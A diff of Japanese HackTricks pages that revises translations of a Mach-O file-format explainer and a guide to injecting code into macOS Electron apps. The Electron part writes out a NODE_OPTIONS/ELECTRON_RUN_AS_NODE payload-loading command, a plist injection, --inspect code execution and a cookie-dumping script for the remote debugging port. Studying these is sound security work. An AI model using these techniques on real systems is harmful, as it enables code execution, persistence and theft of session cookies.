@ -80,11 +80,11 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
通常、2つのアーキテクチャ向けにコンパイルされたuniversal binaryは、1つのアーキテクチャ向けにコンパイルされたものの**サイズを倍に**します。
|
||||
通常、2つのアーキテクチャ向けにコンパイルされたuniversal binaryは、通常の1つのアーキテクチャ向けにコンパイルされたものの**サイズを倍に**します。
|
||||
|
||||
## **Mach-Oヘッダ**
|
||||
## **Mach-Oヘッダー**
|
||||
|
||||
ヘッダには、Mach-Oファイルとして識別するためのマジックバイトや対象アーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次の場所にあります:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
ヘッダーには、ファイルを識別するためのマジックバイトや対象アーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次の場所にあります:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -113,7 +113,7 @@ uint32_t reserved; /* reserved */
|
|||
```
|
||||
**ファイルタイプ**:
|
||||
|
||||
* MH\_EXECUTE (0x2): 標準のMach-O実行ファイル
|
||||
* MH\_EXECUTE (0x2): 標準のMach-O実行可能ファイル
|
||||
* MH\_DYLIB (0x6): Mach-Oダイナミックリンクライブラリ(.dylib)
|
||||
* MH\_BUNDLE (0x8): Mach-Oバンドル(.bundle)
|
||||
```bash
|
||||
|
@ -123,13 +123,13 @@ Mach header
|
|||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE
|
||||
```
|
||||
または、[Mach-O View](https://sourceforge.net/projects/machoview/) を使用します:
|
||||
または、[Mach-O View](https://sourceforge.net/projects/machoview/) を使用する:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Mach-O ロードコマンド**
|
||||
|
||||
**メモリ内のファイルのレイアウト** がここで指定され、**シンボルテーブルの位置**、実行開始時のメインスレッドのコンテキスト、および必要な **共有ライブラリ** が詳細に記載されています。メモリへのバイナリの読み込みプロセスに関する指示が、動的ローダー **(dyld)** に提供されます。
|
||||
**メモリ内のファイルのレイアウト** がここで指定され、**シンボルテーブルの位置**、実行開始時のメインスレッドのコンテキスト、および必要な **共有ライブラリ** が詳細に記載されています。メモリへのバイナリの読み込みプロセスに関する指示が **動的ローダー(dyld)** に提供されます。
|
||||
|
||||
これには、**`loader.h`** で定義された **load\_command** 構造が使用されます。
|
||||
```objectivec
|
||||
|
@ -138,34 +138,34 @@ uint32_t cmd; /* type of load command */
|
|||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
システムが異なる**50種類のロードコマンド**を異なる方法で処理します。最も一般的なものは、`LC_SEGMENT_64`、`LC_LOAD_DYLINKER`、`LC_MAIN`、`LC_LOAD_DYLIB`、および`LC_CODE_SIGNATURE`です。
|
||||
システムが異なる**50種類のロードコマンド**を異なる方法で処理しています。最も一般的なものは、`LC_SEGMENT_64`、`LC_LOAD_DYLINKER`、`LC_MAIN`、`LC_LOAD_DYLIB`、および`LC_CODE_SIGNATURE`です。
|
||||
|
||||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
基本的に、このタイプのロードコマンドは、バイナリが実行されるときに、**\_\_TEXT**(実行コード)と**\_\_DATA**(プロセス用のデータ)**セグメントをどのようにロードするか**を、データセクションで示されたオフセットに従って定義します。
|
||||
基本的に、このタイプのロードコマンドは、バイナリが実行されるときに、**\_\_TEXT**(実行コード)および**\_\_DATA**(プロセス用のデータ)**セグメントをどのようにロードするか**を、データセクションで示されたオフセットに従って定義します。
|
||||
{% endhint %}
|
||||
|
||||
これらのコマンドは、プロセスの**仮想メモリ空間にマップされるセグメント**を**定義**します。
|
||||
これらのコマンドは、プロセスが実行されるときに、**仮想メモリ空間にマップされるセグメント**を**定義**します。
|
||||
|
||||
**異なる種類**のセグメントがあり、プログラムの実行コードを保持する**\_\_TEXT**セグメントや、プロセスで使用されるデータを含む**\_\_DATA**セグメントなどがあります。これらの**セグメントは、Mach-Oファイルのデータセクションに配置**されています。
|
||||
**\_\_TEXT**セグメント(プログラムの実行コードを保持する)や**\_\_DATA**セグメント(プロセスで使用されるデータを含む)など、**さまざまなタイプのセグメント**があります。これらの**セグメントは、Mach-Oファイルのデータセクションに配置**されています。
|
||||
|
||||
**各セグメント**は、さらに複数の**セクション**に**分割**できます。**ロードコマンド構造**には、それぞれのセグメント内の**これらのセクションに関する情報**が含まれています。
|
||||
|
||||
ヘッダーにはまず、**セグメントヘッダー**があります:
|
||||
ヘッダー内にはまず、**セグメントヘッダー**があります:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64ビットアーキテクチャ用 */
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* for 64-bit architectures */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* section_64構造体のサイズを含む */
|
||||
char segname[16]; /* セグメント名 */
|
||||
uint64_t vmaddr; /* このセグメントのメモリアドレス */
|
||||
uint64_t vmsize; /* このセグメントのメモリサイズ */
|
||||
uint64_t fileoff; /* このセグメントのファイルオフセット */
|
||||
uint64_t filesize; /* ファイルからマップする量 */
|
||||
int32_t maxprot; /* 最大VM保護 */
|
||||
int32_t initprot; /* 初期VM保護 */
|
||||
<strong> uint32_t nsects; /* セグメント内のセクション数 */
|
||||
</strong> uint32_t flags; /* フラグ */
|
||||
uint32_t cmdsize; /* includes sizeof section_64 structs */
|
||||
char segname[16]; /* segment name */
|
||||
uint64_t vmaddr; /* memory address of this segment */
|
||||
uint64_t vmsize; /* memory size of this segment */
|
||||
uint64_t fileoff; /* file offset of this segment */
|
||||
uint64_t filesize; /* amount to map from the file */
|
||||
int32_t maxprot; /* maximum VM protection */
|
||||
int32_t initprot; /* initial VM protection */
|
||||
<strong> uint32_t nsects; /* number of sections in segment */
|
||||
</strong> uint32_t flags; /* flags */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
|
@ -190,29 +190,29 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
|
|||
uint32_t reserved3; /* reserved */
|
||||
};
|
||||
```
|
||||
例: **セクションヘッダー**:
|
||||
例:**セクションヘッダー**の例:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もし **セクションオフセット** (0x37DC) に **アーキテクチャが始まるオフセット**、この場合 `0x18000` を **追加** すると、`0x37DC + 0x18000 = 0x1B7DC`
|
||||
もし**セクションオフセット**(0x37DC)に**アーキテクチャが始まるオフセット**(この場合`0x18000`)を**追加**すると、`0x37DC + 0x18000 = 0x1B7DC` になります。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**コマンドライン**からも **ヘッダー情報** を取得することが可能です:
|
||||
また、**コマンドライン**から**ヘッダー情報**を取得することも可能です。
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
```markdown
|
||||
このcmdによってロードされる一般的なセグメント:
|
||||
|
||||
* **`__PAGEZERO`:** カーネルに**アドレスゼロ**を**マップ**するよう指示し、**読み取り、書き込み、実行**ができないようにします。この構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み書き実行権限がない**ことを示します。
|
||||
* **`__PAGEZERO`:** カーネルに**アドレスゼロ**を**読み取り、書き込み、実行**できないように**マップ**するよう指示します。構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み取り書き込み実行権限がない**ことを示します。
|
||||
* この割り当ては**NULLポインターのデリファレンス脆弱性を緩和**するために重要です。
|
||||
* **`__TEXT`**: **読み取り**および**実行**権限(書き込みなし)を持つ**実行可能なコード**を含みます。このセグメントの一般的なセクション:
|
||||
* **`__TEXT`**: **読み取り**および**実行**権限(書き込みなし)を持つ**実行可能コード**を含みます。このセグメントの一般的なセクション:
|
||||
* `__text`: コンパイルされたバイナリコード
|
||||
* `__const`: 定数データ
|
||||
* `__cstring`: 文字列定数
|
||||
* `__stubs`および`__stubs_helper`: ダイナミックライブラリの読み込みプロセス中に関与します
|
||||
* **`__DATA`**: **読み取り**および**書き込み**可能なデータを含みます(実行不可)。
|
||||
* **`__DATA`**: **読み取り書き込み可能**なデータを含みます(実行不可)。
|
||||
* `__data`: 初期化されたグローバル変数
|
||||
* `__bss`: 初期化されていない静的変数
|
||||
* `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolistなど):Objective-Cランタイムで使用される情報
|
||||
|
@ -221,22 +221,22 @@ otool -lv /bin/ls
|
|||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
**entryoff属性**内のエントリーポイントを含みます。ロード時に、**dyld**は単純にこの値を(メモリ内の)**バイナリのベースに追加**し、その後この命令に**ジャンプ**してバイナリのコードの実行を開始します。
|
||||
**entryoff属性**にエントリーポイントを含みます。ロード時に、**dyld**は単純にこの値を(メモリ内の)**バイナリのベースに追加**し、その後この命令に**ジャンプ**してバイナリのコードの実行を開始します。
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Macho-Oファイルの**コード署名に関する情報**を含みます。これには通常、ファイルの最後にある**署名ブロブ**を**指す****オフセット**のみが含まれます。\
|
||||
ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)およびこの[gists](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
|
||||
Macho-Oファイルの**コード署名に関する情報**を含みます。これには通常、ファイルの最後にある**署名ブロブを指す****オフセット**のみが含まれます。\
|
||||
ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)やこの[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
プロセスのアドレス空間に共有ライブラリをマップする**動的リンカー実行ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`**に設定されます。macOSでは、dylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意することが重要です。
|
||||
プロセスのアドレス空間に共有ライブラリをマップする**動的リンカー実行ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`に設定**されます。macOSでは、dylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意することが重要です。
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
このロードコマンドは、**ローダー**(dyld)に**ライブラリをロードおよびリンクするよう指示する****動的ライブラリ**依存関係を記述します。Mach-Oバイナリが必要とする**各ライブラリ**にはLC\_LOAD\_DYLIBロードコマンドがあります。
|
||||
このロードコマンドは、**ローダー**(dyld)に**ライブラリをロードおよびリンクするよう指示する****動的ライブラリ**の依存関係を記述します。Mach-Oバイナリが必要とする各ライブラリにはLC\_LOAD\_DYLIBロードコマンドがあります。
|
||||
|
||||
* このロードコマンドは、実際の依存動的ライブラリを記述する**`dylib`**構造体を含む**`dylib_command`**型の構造体です:
|
||||
* このロードコマンドは、実際の依存動的ライブラリを記述する**`dylib_command`**型の構造体(struct dylibを含む)です:
|
||||
```
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
|
@ -252,9 +252,7 @@ uint32_t current_version; /* library's current version number */
|
|||
uint32_t compatibility_version; /* library's compatibility vers number*/
|
||||
};
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (558).png>)
|
||||
|
||||
また、次のコマンドラインからこの情報を取得することもできます:
|
||||
以下のコマンドでもこの情報を取得できます:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
|
@ -275,7 +273,7 @@ Mach-Oバイナリには、**LC\_MAIN**で指定されたアドレスの**前に
|
|||
|
||||
## **Mach-Oデータ**
|
||||
|
||||
ファイルの中心には、ロードコマンド領域で定義された複数のセグメントで構成されるデータ領域があります。**各セグメント内にはさまざまなデータセクションが収容され、各セクションには**コードまたはデータ**が含まれています。
|
||||
ファイルの中心には、ロードコマンド領域で定義された複数のセグメントで構成されるデータ領域があります。**各セグメントにはさまざまなデータセクションが収容されており**、各セクションには**コードまたはデータ**が含まれています。
|
||||
|
||||
{% hint style="success" %}
|
||||
データは基本的に、ロードコマンド**LC\_SEGMENTS\_64**によって読み込まれる**すべての情報**を含む部分です。
|
||||
|
@ -285,8 +283,8 @@ Mach-Oバイナリには、**LC\_MAIN**で指定されたアドレスの**前に
|
|||
|
||||
これには次のものが含まれます:
|
||||
|
||||
- **関数テーブル**:プログラム関数に関する情報を保持
|
||||
- **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含む
|
||||
- **関数テーブル**:プログラム関数に関する情報を保持します。
|
||||
- **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含みます。
|
||||
- 内部関数、変数名なども含まれる可能性があります。
|
||||
|
||||
確認するには、[**Mach-O View**](https://sourceforge.net/projects/machoview/)ツールを使用できます:
|
||||
|
@ -301,12 +299,12 @@ size -m /bin/ls
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
- **ハッキングトリックを共有する**ために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
Electronが何かわからない場合は、[**こちらで多くの情報を見つけることができます**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。ただし、今のところはElectronが**node**を実行していることを知っておくだけで十分です。
|
||||
|
||||
Electronが何かわからない場合は、[**こちらで多くの情報を見つけることができます**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。ただし、今のところ、Electronは**node**を実行することを知っておくだけで十分です。\
|
||||
そして、nodeには、指定されたファイル以外のコードを実行するために使用できる**パラメータ**や**環境変数**がいくつかあります。
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
これらのテクニックは次に議論されますが、最近のElectronではこれらを防ぐためにいくつかの**セキュリティフラグ**が追加されています。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、これらはmacOSのElectronアプリケーションが**任意のコードを読み込むのを防ぐ**ために使用されます:
|
||||
これらのテクニックは次に議論されますが、最近、Electronはこれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、これらはmacOSのElectronアプリケーションが**任意のコードを読み込むのを防ぐ**ために使用されます:
|
||||
|
||||
- **`RunAsNode`**:無効にすると、環境変数**`ELECTRON_RUN_AS_NODE`**の使用を防ぎ、コードのインジェクションを防ぎます。
|
||||
- **`EnableNodeCliInspectArguments`**:無効にすると、`--inspect`、`--inspect-brk`などのパラメータが尊重されなくなります。これにより、コードのインジェクションが防止されます。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**:有効にすると、読み込まれた**`asar`**ファイルがmacOSによって検証されます。このファイルの内容を変更することによるコードのインジェクションを防ぎます。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**:有効にすると、読み込まれた**`asar`** **ファイル**がmacOSによって**検証**されます。このファイルの内容を変更することによる**コードのインジェクション**を防ぎます。
|
||||
- **`OnlyLoadAppFromAsar`**:これが有効になっている場合、次の順序で読み込みを検索する代わりに:**`app.asar`**、**`app`**、最後に**`default_app.asar`**。app.asarのみをチェックおよび使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせると、検証されていないコードを読み込むことが**不可能**になります。
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**:有効にすると、ブラウザプロセスはV8スナップショットに`browser_v8_context_snapshot.bin`というファイルを使用します。
|
||||
|
||||
|
@ -59,28 +58,30 @@ macOSアプリケーションでは、通常、`application.app/Contents/Framewo
|
|||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
[https://hexed.it/](https://hexed.it/)でこのファイルをロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効かを示す数字「0」または「1」がASCIIで表示されます。単純に16進コードを変更して(`0x30`は`0`で、`0x31`は`1`です)、**ヒューズの値を変更**できます。
|
||||
```markdown
|
||||
[https://hexed.it/](https://hexed.it/) でこのファイルをロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効かを示す数字「0」または「1」がASCIIで表示されます。単純にヘックスコードを変更して(`0x30` は `0` で、`0x31` は `1` です)、**ヒューズの値を変更**できます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Electronアプリケーション**内の**`Electron Framework`バイナリ**をこれらのバイトで変更した場合、アプリケーションは実行されなくなります。
|
||||
**Electronアプリケーション**内の**`Electron Framework`バイナリ**をこれらのバイトを変更したもので上書きしようとすると、アプリケーションは実行されなくなります。
|
||||
|
||||
## Electronアプリケーションにコードを追加してRCE
|
||||
|
||||
Electronアプリケーションが使用している**外部のJS/HTMLファイル**があるかもしれないため、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
|
||||
Electronアプリが使用している**外部のJS/HTMLファイル**があるかもしれないため、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ただし、現時点では2つの制限があります:
|
||||
|
||||
* **`kTCCServiceSystemPolicyAppBundles`**権限が**必要**ですが、デフォルトではこれは不可能になりました。
|
||||
* 通常、コンパイルされた**`asap`**ファイルには、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が`有効`になっています。
|
||||
* アプリを変更するには**`kTCCServiceSystemPolicyAppBundles`**権限が**必要**です。したがって、デフォルトではこれは不可能になります。
|
||||
* コンパイルされた**`asap`**ファイルには通常、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が`有効`になっています。
|
||||
|
||||
これにより、この攻撃経路はより複雑になります(または不可能になります)。
|
||||
{% endhint %}
|
||||
|
||||
**`kTCCServiceSystemPolicyAppBundles`**の要件をバイパスすることが可能であり、アプリケーションを別のディレクトリ(たとえば**`/tmp`**)にコピーし、フォルダ名を**`app.app/Contents`**から**`app.app/NotCon`**に変更し、**悪意のある**コードで**asar**ファイルを変更し、それを**`app.app/Contents`**に戻して実行することができます。
|
||||
|
||||
asarファイルからコードを展開することができます。
|
||||
asarファイルからコードを展開することができます:
|
||||
```
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
|
@ -131,7 +132,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
```
|
||||
## `NODE_OPTIONS`を使用したRCE
|
||||
|
||||
異なるファイルにペイロードを保存して実行することができます:
|
||||
異なるファイルにペイロードを保存して実行することができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -144,14 +145,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**`EnableNodeOptionsEnvironmentVariable`**が**無効**になっている場合、アプリは起動時に環境変数**NODE_OPTIONS**を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、その環境変数も**無視**されます。なお、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
**`EnableNodeOptionsEnvironmentVariable`**が**無効**になっている場合、アプリは起動時に環境変数**NODE_OPTIONS**を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、その環境変数も**無視**されます。ただし、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
|
||||
**`ELECTRON_RUN_AS_NODE`**を設定しない場合、次の**エラー**が表示されます: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
**`ELECTRON_RUN_AS_NODE`**を設定しない場合、次の**エラー**が発生します: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
{% endhint %}
|
||||
|
||||
### アプリPlistからのインジェクション
|
||||
|
||||
これらのキーを追加して持続性を維持するために、この環境変数をplistで悪用することができます:
|
||||
これらのキーを追加して、この環境変数をplistで悪用することができます:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
|
@ -169,10 +170,8 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
```
|
||||
## 検査によるRCE
|
||||
|
||||
[**こちら**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、Electronアプリケーションを**`--inspect`**、**`--inspect-brk`**、**`--remote-debugging-port`**などのフラグを使用して実行すると、**デバッグポートが開かれ**、それに接続できるようになります(たとえば、Chromeの`chrome://inspect`から)。そのため、**コードを注入**したり、新しいプロセスを起動したりすることができます。\
|
||||
例えば:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
[**これ**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、**`--inspect`**、**`--inspect-brk`**、**`--remote-debugging-port`**などのフラグを使用してElectronアプリケーションを実行すると、**デバッグポートが開かれ**、それに接続できるようになります(たとえば、Chromeの`chrome://inspect`から)。そのため、**コードを注入**したり、新しいプロセスを起動したりすることができます。\
|
||||
例:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
|
@ -181,14 +180,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`などのノードパラメータ(例:`--inspect`)を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、この環境変数も**無視**されます。なお、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`などのノードパラメータ(`--inspect`など)を**無視**しますが、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は**無視**されます。ただし、**`RunAsNode`**が無効になっている場合も同様です。
|
||||
|
||||
ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することはできますが、前述のペイロードは他のプロセスを実行するためには機能しません。
|
||||
ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することができますが、前述のペイロードは他のプロセスを実行するためには機能しません。
|
||||
{% endhint %}
|
||||
|
||||
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリから**履歴**(GETコマンドで)やブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**jsonエンドポイント**があるため)などの情報を盗むことができます。
|
||||
|
||||
これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)や[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学び、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のような単純なスクリプトを使用できます:
|
||||
これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で詳しく学ぶことができ、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のようなシンプルなスクリプトを使用できます:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -196,7 +195,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
|||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
[**このブログポスト**](https://hackerone.com/reports/1274695) では、このデバッグを悪用して、ヘッドレスクロームが**任意の場所に任意のファイルをダウンロード**するようにします。
|
||||
[**このブログポスト**](https://hackerone.com/reports/1274695) では、このデバッグが悪用され、ヘッドレスクロームが**任意の場所に任意のファイルをダウンロード**するようになります。
|
||||
|
||||
### アプリ Plist からのインジェクション
|
||||
|
||||
|
@ -217,17 +216,17 @@ print(ws.recv()
|
|||
## 古いバージョンを悪用したTCCバイパス
|
||||
|
||||
{% hint style="success" %}
|
||||
